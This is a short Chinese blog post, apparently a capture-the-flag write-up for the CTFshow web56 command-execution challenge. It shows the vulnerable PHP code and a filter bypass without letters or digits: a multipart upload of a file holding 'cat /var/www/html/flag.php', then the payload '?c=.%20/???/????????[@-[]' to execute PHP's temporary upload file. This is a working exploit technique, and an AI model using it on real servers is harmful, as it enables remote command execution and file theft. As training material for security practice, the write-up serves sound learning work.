CTFshow-WEB入门-命令执行web56

题目代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无字母数字的命令执行

.+空格+文件路径,会执行文件

当使用PHP上传文件时会生成一个临时文件 /tmp/php六个随机字符(PHP的临时文件包含大写字母,大写字母的范围在@到[之间)

所以只要构造一个文件上传包,文件内容为cat /var/www/html/flag.php,再执行临时文件就可以了

先写一个文件上传页面,然后添加文件,上传抓包

<form action="http://xxx.ctf.show/" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file">
    <input type="submit">
</form>

?c=.%20/???/????????[@-[] 等效 /tmp/phpxxxxxx

posted @ 2022-10-28 00:35  Hacker&Cat  阅读(82)  评论(0编辑  收藏  举报